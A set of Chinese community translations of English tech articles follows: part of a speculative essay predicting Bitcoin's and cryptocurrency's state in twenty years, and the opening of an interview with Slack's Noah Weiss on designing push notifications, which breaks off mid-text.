![](https://cdn-images-1.medium.com/max/600/1*kwdBoz8WFuqp5Q61nQk5_g.jpeg) 人们正准备发明新的应用像 [**IOTA’s Tangle**](https://iota.org/) 和 [**HashGraph**](http://hashgraph.com/) 这样。 如果这些技术在长时间使用过程中都被证明失败,这不是问题,因为其他的一些项目会用另一种方式重新创建。这实际上是有保证的。 在下一个二十年里,我预测了很多,进行成百上千的实验使得分布式协议到达共识,有能力承担交易级别的压力,Visa 级别的处理能力,在辅助以人工智能将会更加完美。 也有很大可能人们没有做出这些系统。 相反,人工智能会迅速迭代思想,并提出一个系统。如果提出这个系统需要一百年的时间,人们是不可能做到的。他们将从昆虫或根系或其他生物系统(如蛋白质)的自然界和系统中吸取灵感。 一个或两个这种系统将控制所有的货币,并且变成元系统支配所有的货币。联合不同种类的货币并像整个体系一样运行整个系统,使无数子网络在它内部蓬勃发展。 ### 6)加密货币将变得更加易用 现在加密货币的体验非常的差劲。 如果我输错一些东西或者复制粘贴出错,我的钱就会永远消失。如果软件出现故障我也会永远的失去我的钱。如果某人攻击了我的电脑或者我的手机我的钱就被永远的偷走了。 想看这里的趋势?看看你们吐槽的错误。这就像在只有单行道的山路上的摩托车一样没有别的路可以走,只能优化用户体验。 ![](https://cdn-images-1.medium.com/max/600/1*kwdBoz8WFuqp5Q61nQk5_g.jpeg) 核心钱包十分的慢,难用和丑陋。当我最后一次升级以太坊,我忘记保存我的私钥,因此我不得不重新弄所有的一切。今年早些时候,我有一个旧的比特币卡在了 2013 年的 Multibit 版本中。。在软件错误地认为我发送了一个从未实际发出的交易后,花了我一个星期的时间才将其释放。 想象这些钱包在冰冷的存储空间里面,并在五年后出现。他们仍然可用么?量子计算机出来后会发生什么,我们需要完全更新系统的基本协议? 普通人将永远无法做到这些程序。没有任何机会。IT 部门长达 20 年的时间告诉我,人们可以并且将会以技术人员完全无法想象的方式搞砸他们的机器。墨菲法则。 更糟糕的是,没有办法扭转任何交易或防止错误发生。我估计会有许多算法出现,这些算法会冻结,回滚和保护交易,以及自我托管和追回赃物的方式。把这些算法想象成银行电话服务的自动化版本,并宣称一张卡片被盗。 ![](https://cdn-images-1.medium.com/max/600/1*ZJuCf81drd-6hQiHGB0-Ug.jpeg) 如果你的祖母不会做这些,原谅她吧。并非每个人都是能够在 Linux 终端上甩手的 IT 人士。 **只有系统提供了旧的功能的同时,加上新的功能,才能大规模推广。** 想一下上个世纪 80 年代 CD-ROM 书籍。它们有一些列的新功能,像表格和颜色,你可以随身携带它们。 但是,这还不够好,因为 CD 有致命的缺点。 **Ray Kurzweil** 在他的“ [false pretender](https://www.technologyreview.com/s/402705/kurzweils-rules-of-invention/) ”书中称这是进化发展[**冒牌伪装者**](http://amzn.to/2ihZKeQ)阶段。新技术有一定的优势,但也有太多的缺点,无法在更广阔的世界真正做到取代旧技术。 ![](https://cdn-images-1.medium.com/max/600/1*7n8RXqspp7bLnZq_6_CT7g.jpeg) 直到 Kindle 和 iPad 出现,电子书阅读器才具备了阅读书籍的所有旧功能,如便携性和易于阅读的功能,以及一次性携带一千本书籍的新功能,没有任何一个老技术可以与它竞争,所以发展的很快。 加密货币遵循类似的途径,从致命的缺陷中走出来,到为个人和企业带来无与伦比的新的权利,从而实现主导世界的目标。 我还看到了很多我们真正需要的系统出现,这些系统都是将数字资金传递给后代的愿望引发的。为此,我们根据需要组建特定银行或算法银行和防多签名钱包,并且采用去中心化云或云服务作为最后的仲裁者。 简单地把你的秘钥分开,交给可信赖的朋友或亲人是不够的。这是第一手解决方案。你的朋友可能会不再是你的朋友,人都会离开或死亡或者其他糟糕的事情发生。我们需要更好的东西,完全自动化。 **想想现在把你的比特币传给你的亲人有多难。**如果你明天去世或被击中头部并忘记密码怎么办? 即使你打算这样做,也有点不好。 ![](https://cdn-images-1.medium.com/max/600/1*WEH21y_aUF2W-dYtScGRjA.png) 你必须创建一个遗嘱,将你的私钥和钱包的备份锁在保险箱里,把密码交给一个房地产律师,并希望他不会偷走它,或者用 U 盘拷走它或 [**Trezor/Nano**](http://amzn.to/2iPesOp) 不会坏。你和一些朋友,家庭成员,[一些不会在 GitHub 查找不同版本来找后门和 Bug 并且破坏它的人](https://blog.ethcore.io/the-multi-sig-hack-a-postmortem/)可以创建一个多签名钱包。.这一切都是丑陋的,不成熟的。这是不可接受的。 **顺便说一句,如果你想启动一个人人将来需要的加密业务,请先解决继承问题。**每个人都因为你的付出而高兴。 我可以预见智能合约的发展和人工智能所产生的意愿将会以自我管理的形式进行。本质上,区块链自己就是银行和客户服务部分,也许用你的生物特征和第三方验证机构的证明或一个去中心化的 AI 可以证明你的亲人,当你日子不多的时候,自动触发。自动密码和秘钥恢复将停止。 **不管它看起来如何,我们都需要对我们现在控制的算法进行近似处理,以便把钱交给我们想要的人,并使之免于那些想要抢劫我们的人。** 我们也需要这个系统来保护我们免受事故,死亡和其他伤害。 ### 7)货币的协议将完全抽象自货币本身 现在所有的货币与它们的协议都存在千丝万缕的联系。 **我预测我们抽象掉交换,传输和接受甚至安全协议,防御和存储我们的货币。** 这将反映当今服务器从裸机到虚拟化到容器技术到无服务器的发展。 ![](https://cdn-images-1.medium.com/max/600/1*kwdBoz8WFuqp5Q61nQk5_g.jpeg) 首先,大多数虚拟货币不能大规模交易。我们甚至无法接近进行 Visa 级别的交易处理,这是任何加密系统的圣杯,也是很多争斗和争议的主题。[比特币可以在峰值时每秒处理 7 笔交易](https://en.bitcoin.it/wiki/Scalability)。 有些人甚至认为这是虚拟货币的优点,因为它鼓励人们保存并存储它,而不是发送它。 这太荒唐了。 我们应该尽可能快的移动货币。 让我们面对这个问题,1 MB限制只是一种黑客行为,**比特币本身是没有限制的。**然后,中本聪在一夜之间偷偷把它放在一边,没有提到它,在源代码中没有解释。这很可能只是防范 DDoS 攻击的一种手段。 **我们能并且将要实现更好的洪攻击防御措施。** 你是 1 MB的信徒?SegWit2X 的 2 MB怎么样?也许你想要比特币的 8 MB 块? 所有的这些人都是错误和可笑的。 ![](https://cdn-images-1.medium.com/max/600/1*-zUw0FetF3A2VSHuLCfrMw.png) 根据 [**Lightning Network**](https://lightning.network/) 公司的人说,如果我们有 70 亿人每天只进行两次交易,它将会消耗: * **24 GB块** * **3.5 TB/天** * **1.27 PB/年** 我们需要不同的思维方式,并且不断的改进繁琐的部分,来设计真正的解决方法。来让比特币和加密技术能够生存下去。当量子计算机出现的时候,新的防御措施,新的密码算法将会变得十分简单并且得到更好的速度提升和创新力提升。 我们不能仅仅停留在中本聪的桂冠上,并假设他想到了一切。 他没有。 坦率地说,天知道他中本聪在想什么?他已经离开了这个项目。如果他真的想引导这个项目,他就应该像 Linus 一样一直在做 Linux。但他没有。他把它留给了我们其余的人,全力以赴。 因此,我们真的应该开始做这些了,因为当前的系统将不会受限制于昂贵的处理器仅仅用我们现在依旧有的系统就可以了。 一种方法是抽象所有的协议,并运行所有旧的硬币,相当于虚拟机或容器。然后规则与硬币本身是分开的。 这只是一种方式,但要真正成为有希望的突破性技术,区块链仍然需要真正的创新。 无论哪种方式,人们需要快速思考,否则我们仍然在辩论 1 MB与 2 MB,而 CryptoRuble(俄罗斯官方加密货币) 和 CryptoYuan(加密元?不存在的) 则超越了我们。 我们也需要这样做,因为它将抵御敌对行动者和 [APTs(高级持续性威胁)](https://www.fireeye.com/current-threats/anatomy-of-a-cyber-attack.html) 协议级别的攻击。想想中国的防火墙或[中间人攻击中](https://blog.thousandeyes.com/deconstructing-great-firewall-china/)用数据包和头部攻击来攻击或阻止交易。[**NEM** 体系结构](https://nem.io/technology/)是一个良好的开端,因为它包括类似防火墙的节点保护。 但是,需要更进一步阻止更加阴险和破坏性的攻击,并且不能用四年的时间和一个硬的分叉来实施解决方案。 ![](https://cdn-images-1.medium.com/max/600/1*bJYTzJyty17c8gla-poFTA.jpeg) 最好的解决方案可能是**下载网络中所有节点的外部化安全规则链,这些节点充当入侵检测,防火墙和协议检查器,和基于人工智能的自动演进规则集和决策。** 感谢 [**Neuromancer’s**](http://amzn.to/2hp02Ry)[**ICE**](http://williamgibson.wikia.com/wiki/Intrusion_Countermeasures_Electronics)。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/what-will-bitcoin-look-like-in-twenty-years-3.md ================================================ > * 原文地址:[What Will Bitcoin Look Like in Twenty Years? - Part 3](https://hackernoon.com/what-will-bitcoin-look-like-in-twenty-years-7e75481a798c) > * 原文作者:[Daniel Jeffries](https://hackernoon.com/@dan.jeffries?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/what-will-bitcoin-look-like-in-twenty-years-3.md](https://github.com/xitu/gold-miner/blob/master/TODO/what-will-bitcoin-look-like-in-twenty-years-3.md) > * 译者:[sakila1012](https://github.com/sakila1012) > * 校对者:[foxxnuaa](https://github.com/foxxnuaa),[Raoul1996](https://github.com/Raoul1996) - [What Will Bitcoin Look Like in Twenty Years? - Part 1](https://github.com/xitu/gold-miner/blob/master/TODO/what-will-bitcoin-look-like-in-twenty-years-1.md) - [What Will Bitcoin Look Like in Twenty Years? - Part 2](https://github.com/xitu/gold-miner/blob/master/TODO/what-will-bitcoin-look-like-in-twenty-years-2.md) - [What Will Bitcoin Look Like in Twenty Years? - Part 3](https://github.com/xitu/gold-miner/blob/master/TODO/what-will-bitcoin-look-like-in-twenty-years-3.md) # 20 年后比特币将会变成什么样-第 3 部分 ![](https://cdn-images-1.medium.com/max/2000/1*9cntgSCQQES9fogbSwWIoQ.jpeg) ### **8) 我们将拥有四个统治元币,五十到一百个小硬币,以及这些币的无限虚拟变体,以及法币** 现在我们将用币创建一切。 需要一个像公民一样的身份平台?生成一个币 创建去中心化的域名系统(DNS)?生成一个币和首次币发行(ICO)! 在区块链应用程序上构建一个你自己的涂鸦?你需要一枚币,我的朋友! ![](https://cdn-images-1.medium.com/max/600/1*s70767X_wJBDhrgFEqf8ug.jpeg) 实际上,你不需要一个币。 币将开始进入不同的元类别。 在这一点上,我只能看到需要四种类型的硬币,区块链(或区块链技术)可以根据需要无缝地交换它们以消耗服务: 1.  **通货紧缩保存货币** 2.  **通货膨胀花出硬币** 3.  **行为令牌** 4.  **奖励代币** 通货紧缩的币用于囤积和投资。随着时间的推移,它们将会升值并为储户带来收益。每个人都需要这种投资,这也是比特币首先起步的原因。 今天通货膨胀的币反映了美元。没有人喜欢在平板电视上花费比特币,仅仅意识到他们几年后支付了 175,000 美元,因为比特币的价格上涨。我们需要稳定的,可用的货币。想象一下,作为经典的“价值储藏”,保罗克鲁格曼总是唠唠叨叨,知道我们实际上确实需要这样来购买和出售每一天的商品。 行为令牌适用于网络上应始终免费使用的操作,如投票或发送短信。 这些不是微交易。 重置我的密码不应该花费相当于两个便士。正如 [**EOS**](https://eos.io/) 人们所说:“如果你去亚马逊,花费三美分来加载页面,没有人会加载页面。” 奖励令牌旨在作为因果的数字化表示在系统周围流动,激励良好行为并惩罚不良行为。 只用这四个硬币,你就可以从字面上建立终极的通用系统。 每一枚硬币都可以简单地作为具有不同元数据的币的子组件。 ### 9) 我们会发现我们对经济学一无所知 你是[凯恩斯计划](http://www.investopedia.com/terms/k/keynesianeconomics.asp)还是[奥地利自由市场](http://lexicon.ft.com/Term?term=Austrian-economics)支持者 谁又在乎答案呢? ![](https://cdn-images-1.medium.com/max/600/1*s70767X_wJBDhrgFEqf8ug.jpeg) **我们所有的经济学理论都是基于墨水和木浆模拟时代的有限数据进行的研究**。当前所有的经济理论将被证明与洞穴绘画一样先进,因为我们将在未来几年试验新的经济体系。。 **这就是这些新币:战争时的微观经济体系**。 **这是达尔文的经济学**。 一些基本的经济规律将会成立,但其中许多只会半途而废。这是因为在区块链支配系统中,我们将会获得全球范围内的实时经济数据,而不像一百年前那样,仅仅只能用铅笔和纸张进行的一系列猜测。 随着人工智能在全球范围内实时跟踪统计数据,我们将能够看到一个国家颁布的坚定关税的实际影响,因为在另一个依赖于该坚定关税的国家/地区建设的价格上涨。 我们将以令人难以置信的精确度跟踪全球生产和制造业,我们学到的东西将以这么多美妙的方式给我们带来惊喜。 ### 10) 一个 DAO 会变成世界 500 强 达成这一里程碑的最有可能的 DAO 将是一个反映开放版 Visa 的 DAO,因为它可能会削减交易和矿工在最占主导地位的网络,并将有助于资助该网络的未来发展和管理。 ![](https://cdn-images-1.medium.com/max/600/1*s70767X_wJBDhrgFEqf8ug.jpeg) 它不会囤积所有资金,而是充当一种联系,通过智能合约将资金流向其他业务和 DAO,以及国家和地方政府,和其他有利于网络的非政府实体。 要做到这一点,DAO 必须发展。 现在我们认为 DAO 是一个智能合约,还差的很远。 ![](https://cdn-images-1.medium.com/max/600/1*sTyt0uLOyGvDk8gDe6LzCQ.jpeg) “多么美好的人类!哦**勇敢的新世界**,有这样的人在!” DAO 需要人工智能来帮助管理和减轻其规则集,它需要能够自动生成模板**管理模型**。**在 DAO,管理是一切**,而且目前还没有一个好的可扩展模型来管理一家大规模的公司,因为它是开源精英的工作场所。早期 DAO 失败是因为他们拥有我所谓的[**勇敢新世界**](http://amzn.to/2gng6fk)问题。 每个人都认为他们很重要,没有人愿意放下姿态。 当每个人都是 DAO 中的国王时,很难否认。 **要有效发挥作用,团队需要角色扮演者和明星**。人们也必须理解他们的角色并接受它,即使他们在系统中建立价值和经验后会发生变化。 管理很难像企业环境一样。 你如何在 DAO 中解雇一个不履行职责人?你如何确保负责 ICO 安全的人实际上是合格的,而不是因为每个人都喜欢他而当选?你不能冒着流失 4,500 万美元的风险而让鲍勃当选,只是因为他那关于 Burning Man 的伟大故事和他的绘画技巧。 未来的自动化企业和非营利机构将不得不为**持续管理和决策制定令人难以置信的工具,以及像代码一样运作的操作协议并成为现实**。 ### **11) 零工经济将大幅度增长** 二战时期的人们一生只有一两份工作。 今天我们有 5 个或者 6 个。 ![](https://cdn-images-1.medium.com/max/600/1*s70767X_wJBDhrgFEqf8ug.jpeg) **未来的人们同时会有五六份工作。** 这些收入流中有一半是自动化和被动的,可能是某种加密 UBI。 我们也将看到 AI 就业匹配服务的兴起。 这些机器会知道你的能力和技能,并与短期表现相匹配,所以你甚至不需要找工作。 设想一个软件项目,需要大量的代码,比如 10 万亿行代码。 软件项目只会变得越来越复杂,并且会持续增长。AI 会写和测试它的一半,但人们会写另一半。该项目将被送入一个分布式的、非中心化的系统中,该系统可以将工作分成多个部分,并对其进行分析,就像一个项目经理,并根据声誉和技能的指纹,将工作交付给全世界范围内的程序员。 你可以把它想象成一个嫁给 UpWork 和 Mechanical Turk 系统的 AI Github。 它可以用于制造业和各种蓝领工作,这可以大大缩小我们今天看到的贫富差距。 [香港地铁人工智能](https://gizmodo.com/the-worlds-best-subway-system-is-powered-by-an- advanced-1601103048)也许是这种网络的第一个原型,即使它不是一个完美的类比。它预测地铁上会发生什么故障,并派遣工程师提前解决故障。这使全球最繁忙的地铁的正常运行时间达到 99%。 其中大部分将由外部化[**声誉银行**](https://github.com/the-laughing-monkey/cicada-platform/blob/master/Identity-Without-Authority-2017.21.3.BETA.pdf)管理,由区块链驱动,将成为未来的社会信用。 这将是好的,也是非常,非常邪恶的。 ![](https://cdn-images-1.medium.com/max/600/1*dsM6oBVp5RrQIcS_c5lN6g.jpeg) [黑暗反映社会信用](http://amzn.to/2iNaIgc)。 在房地产的邪恶一面,我们有[**中国社会信用体系**](http://www.businessinsider.com/china-social-credit-score-like-black-mirror-2016-10)就像今天的 **Black Mirror** 一样。当民族国家利用声誉银行将意识形态灌输到人们的喉咙里时,情况将变得极其糟糕。 但公开管理的代表银行将帮助我们找到关系并开展工作,并找出在商业和生活中信任谁。 它将是双刃剑。 主要的挑战是很少有人能够就系统中的好或坏达成一致,意识形态倾向于将这些概念变为无法识别的混乱。如果我们不小心的话,创建一个可以奴役我们所有人的规则集非常容易。 ### 矛盾的国王 我只是想通过一些更容易做出的预测。 现在让我们抛出一些可能引发社区激烈辩论和争议的东西。 ### 12) 区块链将产生各种各样的弊病 **加密爱好者将不得不接受这样的事实,即区块链能够并将尽可能多地利用邪恶。** ![](https://cdn-images-1.medium.com/max/600/1*kwdBoz8WFuqp5Q61nQk5_g.jpeg) 没有什么是好的或坏的。一切都存在于一个连续体中。你可以用枪杀人,但你也可以通过狩猎养活你的家人。水可以维持生命,但它也会淹死你甚至[毒死你](https://www.ncbi.nlm.nih.gov/pmc/articles/PMC1770067/)。 如果你现在正在设计一个系统,并且采取“快速行动,打破东西”的 DevOps 方法,只要知道这对于可以在算法上控制我们生活中许多方面的系统而言是一场灾难。 **相反,你应该缓慢采取行动,思考并且不要破坏事物的方法。** 你应该开始考虑所有的方式来破坏你的系统,否则你将无法为它辩护。 如果你没有想象一个敌对团体将会使用区块链的力量,这个团队不会分享你对开放和自由以及合作的看法,那么你只是天真的。 ![](https://cdn-images-1.medium.com/max/600/1*25H9XAhWfT7-wmrvQmC-Ug.gif) 我中途写了一篇名为 “ **如果希特勒拥有区块链** ?” 的文章。坦率地说,我不想发布它,因为我不想给坏人们任何新鲜的想法,但放心吧,可能无所谓。他们的黑暗头脑已经很难想象如何使用区块链作为压制和控制系统。 为了不把所有这些想法都放到集体无意识中,而是想想你的生活的各个方面,从你去哪儿做什么,到统计预测你的行为,以及旨在激励你遵守意识形态的行为算法,最后认为不可破解的数字版权管理和彻底的种族灭绝。 种族灭绝? Yeah. **不要忘记** [** IBM 帮助纳粹管理大屠杀,用打孔卡追踪受害者**](https://en.wikipedia.org/wiki/IBM_and_the_Holocaust)**.** 他们可以通过区块链做些什么? 答:我们现在只能想到更多可怕的暴行。 也许你认为一个开放的系统将永远防止滥用? 错。 如果互联网告诉了我们任何事情,那就是开放系统倾向于集中化,并且给予中央权力足够的时间可以[并且将颠覆和腐败任何系统](http://www.businessinsider.com/wannacry-nsa-cyber-weapon-leakers-shadow-brokers-promise-monthly-data-dumps-2017-5))以达到自己的目的。 如果你在加密工作,并且你没有考虑所有滥用加密的方法,那么很可能不是设计一个拯救世界的系统,而是为它创建了一个监狱。 ### 13) 比特币有一半的存活率 大多数真正的信徒不会喜欢这个,但老实说,50/50 存活率真的很高。 ![](https://cdn-images-1.medium.com/max/600/1*s70767X_wJBDhrgFEqf8ug.jpeg) 我知道,我知道。你以前听说过这一切!钱纠结不能停止!新的 ATH !!!!购买和 HODLz 永远! 看你卡住了这么久,所以我可以解释一下。 首先,我为比特币生存直到我死去,但让我们客观地看几分钟,看看为什么它可能会下降。这可能不是你的想法。 比特币具有先发优势。这是绝对的第一次,仍占据全球市场份额的主导地位,但同时也面临着一些可能杀死它的重大缺陷。 ![](https://cdn-images-1.medium.com/max/600/1*3Hrfnp399fFqKYsZiLdKNA.jpeg) 基本上,它是区块链演进的模型 T。 你今天在街上看到了多少个模型 T? 你能改装一个 T 型车,让它像兰博基尼一样燃烧橡胶吗?你能添加复杂的电子设备使它成为自动驾驶的特斯拉吗?不。 首先,比特币没有内置的管理。这是一个重要的缺陷。只有几种方法可以改变它。首先是[提交提案](https://coin.dance/blocks/proposals),需要几乎每个人都同意,正如我们在 SegWit 看到的那样,这非常困难。花了四年时间才得到通过。 第二个是开始一个新项目并硬 fork 它。这可能是最终实际工作的唯一方式。一个团队可能会分叉并建立管理,但这是一个很长的过程。 、 具有设计良好,广泛内置的管理的币将比比特币具有巨大的优势,并且可以轻松取代它,因为它使升级更加顺畅。 对资金充足的敌对力量的攻击进行升级和应对,需要在数小时甚至数天而不是几年内迅速渗透整个网络。 如何扩展?我们已经讨论过这个问题。改变区块大小不会削减它。这将需要更激进的东西。 ![](https://cdn-images-1.medium.com/max/600/1*8DuarABxVGDxsyJGN0NicA.jpeg) 如果中国改变了防火墙的话呢? 在这个后期阶段甚至有可能将专用中继和其他抗干扰代码加入系统中? 如果政府只是决定将数十亿美元投入数据中心并秘密设计 ASIC 来运行该系统呢?任何矿工都可以竞争吗? 如果敌对方决定召集所有核心开发者,会怎么样? 考虑到现在加密世界中人才的巨大短缺,替换它们有多容易? 这些只是我最喜欢的加密技术中几乎不可逾越的问题。我指出他们不要杀死它,而是让人们思考。让人们思考。如果你真的能看到一个问题,你可以找到解决它的方法。但是,如果我们只处理像区块大小限制这样的虚假问题,我们将一事无成。 比特币是一个美丽的,辉煌的想法,它已经改变了世界。 它不会失败,因为它是一种欺诈或骗局,但由于它自己的硬编码规则,内部斗争和缺乏管理。 当然,它不会失败。我们现在可以开始考虑如何拯救它。 正如我前面提到的那样,某种虚拟化或集装箱化让比特币能够适应和发展,通过迁移到一套抽象的协议和防御措施,有助于确保比特币不仅能够存活下来,而且还能够蓬勃发展。 我正在为此而生。我打赌,如果你正在阅读这篇文章,你也会有这样的想法。 确保它能够存活下来的最好方法是了解它可能发生故障的所有真正原因,并开始为当今的这些问题设计真正的解决方案,以便当它们到达时,我们已做好准备。 ### 最后的边界 我有更多的预测,但我会保存他们[**我的小说**](https://www.amazon.com/Daniel-Jeffries/e/B00D1HG62U) 如果这篇文章发生病毒,也许我会做后续。 我还从桌面上留下了一些邪恶的想法,因为我不想看到他们成功。如果有人想到他们,我无能为力,但明天蒙特卡罗路线中最糟糕的情景不会来自我的键盘。 **加密货币是世界经济体系的根本升级。**一旦它们完全启动并融入到未来的全球和星际网络中,按照我们现在开始理解的方式,世界将会变得非常、非常不同。 从现在起数百年,今天的经济将看起来像过去的封建经济。 ![](https://cdn-images-1.medium.com/max/600/1*SUddgH7g770fXRjiMemq9g.png) 加密货币,去中心化应用程序和 DAO 甚至有可能将我们带入 **Star Trek,就像后稀缺经济** 一样,但这需要时间。 即使我将 Singularity 加入我的所有科幻作品中,我都不会以奇点级别的加速度下将我们带到那里,因为这是很棒的小说。但它可能不是现实。 如果我错了,那么我上传和快照的虚拟头脑,在 [Matroishka 大脑](https://www.youtube.com/watch?v=Ef-mxjYkllw)上运行在全球大量的计算机上,只需要处理它。 但我怀疑它。 那么,我们在哪里? 加密将会像生活中的一切一样成为善与恶。 如果你正在研究加密,那么你正在构建明天的世界,但不要期待它会在下周到来。 惯性有一种放慢速度的办法,即使是最快的火箭也是如此。 只要我们大胆地走到没有人去过的地方,就可以享受骑行。 一如既往,感谢阅读。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/what-you-must-know-to-build-savvy-push-notifications.md ================================================ > * 原文地址:[What You Must Know To Build Savvy Push Notifications](http://firstround.com/review/what-you-must-know-to-build-savvy-push-notifications/) * 原文作者:[First Round](https://twitter.com/firstround) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[写代码的猴子](https://github.com/laobie) * 校对者:[Ruixi](https://github.com/Ruixi), [rccoder \(Shangbin Yang\)](https://github.com/rccoder) # 如何设计精准的推送通知? 智能手机面世已经近十年时间,但根据 [First Round 对初创公司的调查报告](http://stateofstartups.firstround.com/#highlights) 来看,创始人们仍然宣称移动端是最被低估的技术。推送通知在移动设备上潜力极大。企业家 [Ariel Seidman](https://www.linkedin.com/in/aseidman) 在 [Fixing mobile push notifications](http://arielseidman.com/post/62564939335/fixing-mobile-push-notifications) 这篇文章中提到:“去夸大移动端推送通知的潜力是一件很困难的事。这是在人类历史上第一次可以同时拍着近 200 万人的肩膀,说‘嘿!注意这个!’” 这也是 [**Slack**](https://slack.com/) 的 [**Noah Weiss**](https://www.linkedin.com/in/noahw) 一直笃信世界会通过智能设备变得越来越亲近的原因。 供职 Slack 之前,Weiss 在 Foursquare 工作,当时它 [通过原生广告服务获利](http://techcrunch.com/2013/10/14/with-an-eye-to-more-revenue-foursquare-opens-its-ads-platform-to-all-small-businesses/) ,并在 2014 年大胆地分成 [两个应用](https://medium.com/foursquare-direct/the-lego-block-exercise-4c7d60eeb38f#.tmyz2j5o0)。那时候,每月活跃用户增长五倍之多。 Weiss 还是 Google 结构化数据搜索项目的首席产品经理。最近,Weiss 加入 Slack [建立其纽约办事处,领导新的搜索、学习和智能项目组](https://medium.com/@noah_weiss/starting-up-slack-s-search-learning-intelligence-group-in-the-new-nyc-office-af6523090789#.sqly156er),其任务是开发[新的功能](http://www.recode.net/2016/6/6/11863534/slack-artificial-intelligence-AI-noah-weiss) ,使其他公司在使用 Slack 时更加高效。 在这次采访中,Weiss 描绘了推送通知的动态演变 —— 阐释了智能手表和应用布满屏幕主屏时代关键的范式转变。在此,他还分享了一些关于初创公司寻求制定推送通知策略、投入、指标和指南的小秘诀。任何想要控制这种高风险、高回报渠道的创业公司都会从 Weiss 这里受益。 > 一个好的推送通知有三个特性:及时性,个性化和可行性。 ## 推送通知的演进 在分享他的策略之前,Weiss 总结了推送通知的演变,因为它涉及到**三种强大的特质:及时性,个性化和可行性。**他将他们的历史和进展看作是建立未来时的基础。以下是简化的推送通知演变历史的四个阶段: **电子邮件是推送通知的前身。** 网络时代初期的推送通知是电子邮件。“在电子邮件和推送通知之间有很多类似的地方。” Weiss 说,“在过去,你通过提供电子邮件地址,允许与网站进行开放式沟通。电子邮件成为将人带回网站的可靠的主要方式,它不是通过门户或书签。并且,电子邮件中有一个取消订阅选项。通知的等效选项是调整推送设置,或者更常见的是卸载应用程序。 **进化到移动时代。** 当用户在手机上投入更多时,电子邮件开始衰退。“可能很难回想起智能手机之前的时代,人们并不习惯在他们的收件箱里生活。他们每天在电脑上检查电子邮件好几次。“ Weiss 说。 “即使是那些拥有非常成功的电子邮件营销策略的公司也会使用移动设备。还记得 Groupon 提供激光脱毛服务吗?你为什么收到它?你什么时候对脱毛表现出兴趣,或者表示你在手机上做出这种类似的购买决定时?绑定到用户,位置和一天中的某个时间,推送通知变得更有效。他们有着及时性、个性化和可行性的潜力,当然如果做的不好,用户也会感到厌烦。 **与短信竞争,而不是电子邮件。** 在移动设备上,推送通知更像是短信,而不是电子邮件。“推送的内容是与此刻发生的事物紧密相关的。当你可能不指望你的内容在几天内被阅读,你可以发送一封电子邮件,这对于业内通讯或文摘来说是可以的。” Weiss 说,“然而,实时推送通知所需的及时性或注意力是完全不同的。通过推送通知,你可以有效地与短信和其他个性化的沟通方式竞争。如果别的通知来自某人的配偶、最好的朋友或妈妈,你如何做到个性化?它们必须在同一水平竞争。 **切割所有应用程序。** 当人们首次使用智能手机时,他们的应用可以摆放在 4x4 网格的主屏幕上。而现在,美国用户的手机上大约平均有 55 个应用。“你需要知道的是,无法让这些应用都被定期使用。如今也很难开发一个应用,让该应用的使用变成日常习惯。” Weiss 说,“开发者的现实是,你的应用可能不会在某人的主屏上,用户也可能不会有一天使用它多次的习惯。这就是通知变得越来越重要的原因。对于大多数应用,推送通知可以完美地提供紧急信息:Uber 到达,登机口变更提醒或者你在 Slack 中被提及。如果用户被 50 多个应用程序淹没,你不能指望他们记住在正确的时间和地点使用你的应用,你需要主动引导他们打开。 ## 围绕以下原则构建你的推送通知策略 深度通知策略可以权衡和组织多个因素,例如附近的 WiFi,个性化,社交因素和实时捕捉到的位置等等,都可以用来驱动推送通知。但对于刚刚开始接触推送通知技术的初创公司来说,有一些基本因素需要考虑。从基本到更高级的诀窍,Weiss 讲述了他在开发推送通知系统时学到的基本经验。 **在应用程序之外促进用户留存** 从用户保留角度来看,当你的应用超越了功能下限后,用户返回你的应用的次数会减少。你只能在你的应用中塞入那么多功能,并期望新用户在一开始的几个会话中发现这些功能。“移动领域最大的挑战是留住新用户,已经有得到证明的战术来引进新用户:高效的应用安装营销、社交渠道、SEM 和 SEO。然而,真正困难的是让新用户养成一种习惯。” Weiss 说,“有时候,你的应用的改进不会显著影响用户留存的顶峰值,但是在应用之外的投资却可以做到,这里即推送通知的投资。因为一旦有人关闭了你的应用,他们错过了第四个 Tab 下的神奇体验就变得无关紧要了。因为如果他们再也没有打开你的应用,他们永远不会知道他们错过了什么。 在为你的应用设计最佳用户体验的过程中,请不要忘记,只有在用户打开应用时,才会享受到这种体验 —— 才会继续回到你的应用。“这总是让我感到惊讶和痛苦:当我看到对一个应用投入令人难以置信的时间和精力,却没有一个策略重新吸引我。” Weiss 说,“当然,大多数年轻的开发人员都不考虑通知。不要犯这个错误。这也是目前移动产品开发中最大的疏忽。” > 客户需求推进了一个应用,用户留存成了一笔生意。 **不要在有权限的情况下错误下载。** 请求获取发送通知的权限不仅是良好的形式,而且在技术上也是必要的。“如果你在 iOS 平台上开发,发送通知是用户必须授权的权限。与 Android 不同,下载应用默认授予权限,你必须提示用户。” 